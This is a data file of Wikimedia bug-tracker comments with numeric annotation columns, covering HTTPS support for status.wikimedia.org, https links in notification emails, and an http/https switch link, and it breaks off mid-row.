+661558,status.wikimedia.org has no (valid) HTTPS,"Yes, we should. Unfortunately wikitech-static might be a pain since it does not use puppet (and for obvious reasons cannot reach the production puppetmaster). :/",,,1463092635,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,141,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+661553,status.wikimedia.org has no (valid) HTTPS,"Also note: while in there, should convert wikitech-static to cron'd letsencrypt (using our prod script!), and then use that for the status.wm.o cert as well.",,,1463092375,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,141,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+661549,status.wikimedia.org has no (valid) HTTPS,"Yeah I tend to agree too.  I think if we're concerned at all about status.wm.o perf during outages, we could probably also tack on a secondary task to extend the apache config there to use mod_cache and cache the status with a 1 or 5 minute TTL and cut down on the revproxying load.
+
+There's an upside, too, in that our revproxy will help anonymize clients of stats.wm.o against watchmouse/CA privacy invasion :)",,,1463092324,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,141,True,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+661215,status.wikimedia.org has no (valid) HTTPS,"Option (3) sounds like the easiest way forward to me and an acceptable option. My only concern would be whether it could handle a surge of traffic (the kind of traffic it'd see when we're down at some point). I don't think we advertise the status page much, so I wouldn't expect it to. I don't think we have or could get any access statistics for it right now, but having it be frontend by infrastructure we control could allow us to, which is another plus. If we do this move, let's at least set up some logging and/or monitoring for it and check it during the next outage :)
+
+Longer-term I think we should overhaul that whole status page. This is currently backed by Watchmouse which isn't very accurate (or pretty). We could either use some external status page service (statuspage.io etc.) or (my preference) build something ourselves using e.g. wikitech-static or some other externally-hosted infrastructure. Something like [[ https://github.com/cachethq/cachet | Cachet ]] could be reused for this to save us from all the frontend trouble.
+
+But all of that can wait; for the purposes of this task (HTTPS support), option (3) is a good compromise, IMHO.",,,1463070849,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,141,True,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1
+656959,status.wikimedia.org has no (valid) HTTPS,"In the settings, we can see that http://status.wikimedia.org/ is also available at http://status.asm.ca.com/8777 .  There don't appear to be any TLS-related settings :(
+
+We could do a few things trivially, which have un-ideal tradeoffs, but might be acceptable:
+1. We could set up a revproxy for it internally, on perhaps a ganeti misc web node?  Then it would TLS'd as part of the misc cluster, but it won't be available if any of several parts of our infra are in trouble, which is probably when we want it the most.
+2. We could set up a static page for it on the misc cluster (via varnish synthesis), which simply links to (or does a slow HTML refresh to?) the http://status.asm.ca.com/8777 .  At least then people could bookmark the real thing independent of our infra, and it would rely on less of our infra (just authdns + LVS + cache_misc, and be DC-independent).
+3. We could host a revproxy as in (1) above, but externally like we do for https://wikitech-static.wikimedia.org/ (perhaps even on the same host?).",,,1462411054,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,140,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,0,1,1,1
+646279,status.wikimedia.org has no (valid) HTTPS,"The actual blocker for 2. was that Catchpoint was able to replace almost all features of Watchmouse, _except_ that it doesn't have that kind of status page. So maybe an option is also keep poking them about that, argueing that we pay them quite a bit already.",,,1460689535,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,137,True,1,0,0,0,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1
+646256,status.wikimedia.org has no (valid) HTTPS,"They might also have the option to simply use a hostname within their domains rather than bothering with another name of ours.  e.g. configuring it as `wikimedia.status.asm.ca.com` and calling that the official name.  After all this is supposed to be independent of our infrastructure.  Ideally that would include our authdns, too.",,,1460678054,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,137,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+646234,status.wikimedia.org has no (valid) HTTPS,"Considering that watchmouse's own status pages, e.g. http://status.cloudmonitor.ca.com/ and http://stations.status.cloudmonitor.ca.com/ don't offer HTTPS at all (connection refused on 443), I doubt we'll get far with asking for it for our status site.
+
+The current importance of this is that it's likely to be the very very last thing (there's one other pending, but it can be solved relatively easily) preventing us from doing a blanket STS-preload for all of wikimedia.org, which is a big deal.
+
+Basic options that come to mind in a few minutes:
+
+1. Talk to watchmouse, see if there's any way they can HTTPS this with a legit cert, like we've done with other 3rd party vendors (where we purchase the cert and hand them the key securely).  Seems unlikely, but worth a shot!
+2. Cancel/Replace this service? I don't know that we have an equivalent replacement anywhere, but this option was mentioned once before!  If replacing it means spending a long time looking for a new replacement service and setting that up first, that sucks timeline-wise.
+3. Move it to another domain.  We could move the CNAME to some other domain we own that we're not trying to STS-preload, like say `status.wmftest.net` or something.  We could support the old name (transitionally, but not as the advertised name, because it might not work when our infra is down!) by having status.wikimedia.org map to one of the prod varnish clusters securely and generate a 301 -> the new hostname.",,,1460674881,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,137,True,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1
+549473,status.wikimedia.org has no (valid) HTTPS,">>! In T34796#1737605, @hashar wrote:
+> Do we really care of having `status.wikimedia.org` to be served over TLS? 
+
+yes
+
+but that doesn't mean i have the solution how to fix it since it's on watchmouse's servers",,,1445386998,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,112,True,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1
+549472,status.wikimedia.org has no (valid) HTTPS,">>! In T34796#1737605, @hashar wrote:
+> Do we really care of having `status.wikimedia.org` to be served over TLS? 
+
+yes",,,1445386878,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,112,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,1
+548841,status.wikimedia.org has no (valid) HTTPS,"Do we really care of having `status.wikimedia.org` to be served over TLS? I am not sure it is worth it (and the price of a host cert), so I would rather disable HTTPS and just use http.",,,1445332537,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,111,True,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0
+548692,status.wikimedia.org has no (valid) HTTPS,"Over 2 years later, and we still have pages like status.watchmouse.com giving
+
+```
+This server could not prove that it is status.watchmouse.com; its security certificate is from status.io.watchmouse.com. 
+```",,,1445297256,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,111,True,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+548684,status.wikimedia.org has no (valid) HTTPS,"Agreed, let's consider buying that. Adding ""traffic"" for opinions.",,,1445296846,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,111,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+548681,status.wikimedia.org has no (valid) HTTPS,"Re-opening this for further consideration. A fair bit has changed since 2013, including a strong push for HTTPS/TLS/SSL support across both Wikimedia and the rest of the Internet.
+
+https://status.wikimedia.org/ failing isn't really okay. We should figure out some way to make this work or we should kill the service entirely, in my opinion.",,,1445296723,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,111,True,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+155731,status.wikimedia.org has no (valid) HTTPS,"So this certificate is served by Nimsoft, and we have no control over it.  I'll paste the reasoning from RT:
+
+ it is just a CNAME for status.watchmouse.com
+
+status.wikimedia.org is an alias for status.watchmouse.com.
+status.watchmouse.com is an alias for dualstack.lb-1710199131.us-east-1.elb.amazonaws.com.
+
+In the watchmouse UI, in ""Public folders"" setup you can change the CNAME but nothing about SSL or certificates.
+
+And the failure is on their side already anyways, because status.watchmouse.com itself does not show the correct cert
+
+status.watchmouse.com uses an invalid security certificate.
+
+The certificate is only valid for *.io.watchmouse.com
+
+Then folks ask if we can redirect, the answer is no.  It is a status page for when the cluster is down, therefore redirecting via the cluster is non-ideal.
+
+So this is a wontfix, because we cantfix.",,,1363801758,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,1,False,,,-23,True,0,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+155725,status.wikimedia.org has no (valid) HTTPS,The ops ticket is RT #1849,,,1363469303,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,1,True,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+155721,status.wikimedia.org has no (valid) HTTPS,*** Bug 44760 has been marked as a duplicate of this bug. ***,,,1363469248,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,1,True,,,-24,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+155714,status.wikimedia.org has no (valid) HTTPS,Removing dependency to bug 27946 which is secure.wikimedia.org.,,,1342536971,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,1,True,,,-59,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+155708,status.wikimedia.org has no (valid) HTTPS,"If we can't get it on a correct cert, we might want to redirect to its canonical domain instead so it at least loads properly. Main obvious downside is if our redirector or iframe wrapper goes down, you don't see it on our pretty domain anymore. ;)",,,1323051520,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,1,True,,,-91,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,1,0
+155703,status.wikimedia.org has no (valid) HTTPS,"I doubt this is feasible - it is hosted on Amazon AWS, so they'd have to fire up a separate watchmouse AWS LB instance just to serve Wikimedia status? ;-)",,,1323041674,,PHID-USER-wxw3ddutjncyt3k7dtbr,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,1,False,,,-91,True,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+155695,status.wikimedia.org has no (valid) HTTPS,"Because it's offsite.
+
+It'll need it's own specific cert buying and assigning",,,1323041480,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,1,True,,,-91,True,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+34769,"Notification emails should link to https, not http","Just got a new message notification:
+
+Dear Multichill,
+
+
+The Wikipedia page ""User talk:Multichill"" has been changed on
+2 December 2011 by Magicpiano, with the edit summary: /* Bot is breaking
+on National Register of Historic Places in Lowell, Massachusetts */ link
+fix 
+
+See
+http://en.wikipedia.org/w/index.php?title=User_talk:Multichill&diff=0&oldid=463665500
+for all changes since your last visit. See
+http://en.wikipedia.org/wiki/User_talk:Multichill for the current
+revision.
+
+To contact the editor, visit
+http://en.wikipedia.org/wiki/User:Magicpiano
+
+Note that additional changes to the page ""User talk:Multichill"" will not
+result in any further notifications, until you have logged in and
+visited the page.
+
+             Your friendly Wikipedia notification system
+
+--
+
+This email notification feature was enabled on English Wikipedia in May
+2011 - see http://en.wikipedia.org/wiki/Help:Email_notification. If you
+would like to switch off your notifications, visit
+http://en.wikipedia.org/wiki/Special:Preferences
+
+Feedback and further assistance:
+http://en.wikipedia.org/wiki/Help:Contents
+
+(end)
+
+All links should be https now we properly implemented ssl.
+If this is a bridge too far for now a user setting to prefer http or https would probably be a good intermediate solution.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1322836380,1404092595.0,PHID-USER-cw4amt4ewxdze5qcjdca,False,,False,PHID-TASK-7vfqohbuaxe5jz7heehg,task_description,resolved,True,c2,1,False,False,False,-91,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+163194,"Notification emails should link to https, not http",Notification e-mails now use HTTPS,,,1404092595,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-7vfqohbuaxe5jz7heehg,task_subcomment,,True,c2,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+163189,"Notification emails should link to https, not http","WORKSFORME would be a valid resolution if this were attached to a general component. Since it's already possible to configure $wgCanonicalServer to put https links into the emails.
+
+LATER would be the valid resolution here. Since this bug isn't going to change anything since this will automatically be handled when the https rollout is finished to a degree that we can default to https for a number of things. And this bug sitting here isn't going to change that schedule.
+And naturally this isn't a bug tracking when https will be fully deployed.
+
+And just since you said it. The fact that people ""should never use http"" isn't really relevant. Even though they shouldn't the fact is that most people shouldn't use http doesn't change the fact that they do. The only people that pay attention to these kind of things are us techy people. And well, we're a minority.
+So the point that the load on the https servers would be vastly different between now and when we default https on for logged-in users is a fact.",,,1343038044,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-7vfqohbuaxe5jz7heehg,task_subcomment,,True,c2,1,False,,,-58,True,0,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,0,0,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0
+163185,"Notification emails should link to https, not http","You can't just close this as worksforme because it doesn't work. 
+Where do you base your assumption on that the SSL cluster can't handle the load? How many logged in users are now use http and how many users https? In this day in age logged in users should never use http.
+
+Added this one to the tracker",,,1343032593,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-7vfqohbuaxe5jz7heehg,task_subcomment,,True,c2,1,False,,,-58,True,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+163180,"Notification emails should link to https, not http","Marking works for me, it is a duplicate of several other bugs:
+
+* (bug 29898) User preference for enforcing HTTPS (see also bug 29898 comment 11)
+* (bug 29878) Fix inconsistency in resolution of protocol-independent wgServer for email messages.
+
+Note that to enable https by default, all we need to do is set wgCanonicalServer to https. That's just a configuration change, no software change. The reason this is not going to be done soon is because the SSL cluster is not big or stable enough to take a default load for everyone. There is a bug open about that already. See also the tracking bug about secure access (bug 27946).",,,1342801588,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7vfqohbuaxe5jz7heehg,task_subcomment,,True,c2,1,True,,,-58,True,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+163174,"Notification emails should link to https, not http","I say fix this one. It's a pretty easy fix ;-)
+
+You should leave #29878 open as a MediaWiki enhancement.",,,1326146714,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-7vfqohbuaxe5jz7heehg,task_subcomment,,True,c2,1,False,,,-86,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
+163167,"Notification emails should link to https, not http","(In reply to comment #2)
+> This is not a duplicate. #29878 is about user preferences. This bug is about
+> setting everything to https by default (instead of the current http).
+
+The two bugs cannot both be solved, though.  I do prefer this solution.  We'll have to choose one.",,,1323443836,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-7vfqohbuaxe5jz7heehg,task_subcomment,,True,c2,1,False,,,-90,True,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1
+163162,"Notification emails should link to https, not http",This is not a duplicate. #29878 is about user preferences. This bug is about setting everything to https by default (instead of the current http).,,,1323441932,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-7vfqohbuaxe5jz7heehg,task_subcomment,,True,c2,1,False,,,-90,True,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+163158,"Notification emails should link to https, not http","
+
+%%%*** This bug has been marked as a duplicate of bug 29878 ***%%%",,,1322838348,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-7vfqohbuaxe5jz7heehg,task_subcomment,,True,c2,1,False,,,-91,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+34690,Link to switch to http/https version of current page,"It would be nice if there was an easy way to go from http to the same page on the secure site, and the other way around. E.g. a footer link like the one we have for going to the page on the mobile site.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1322506800,1325052259.0,PHID-USER-th6xijvyee7wqsk7bc67,False,,False,PHID-TASK-hfdhnp2k7kcjo2mblxaz,task_description,resolved,True,c2,1,False,False,True,-92,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+158549,Link to switch to http/https version of current page,I'd internatiolaise the http/https as secure/insecure instead of showing the raw protocols in the message.,,,1325460348,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-hfdhnp2k7kcjo2mblxaz,task_subcomment,,True,c2,1,False,,,-87,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0
+158543,Link to switch to http/https version of current page,"(In reply to comment #2)
+> That would completely ruin caching, unless implemented as a gadget.
+
+I understand.. I don't know much javascript but this was simple enough to make myself :) https://incubator.wikimedia.org/wiki/MediaWiki:Gadget-otherProtocol.js
+
+I will still have to wait for the shared gadget repository to be able to use it easily on all wikis.
+
+(Marking as fixed, as I'm happy now :p.)",,,1325052259,,PHID-USER-th6xijvyee7wqsk7bc67,False,,,PHID-TASK-hfdhnp2k7kcjo2mblxaz,task_subcomment,,True,c2,1,False,,,-87,True,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+158535,Link to switch to http/https version of current page,"That's trivial to add. I had never seen that mobile link, btw.",,,1322604406,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-hfdhnp2k7kcjo2mblxaz,task_subcomment,,True,c2,1,False,,,-92,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+158529,Link to switch to http/https version of current page,"**john** wrote:
+
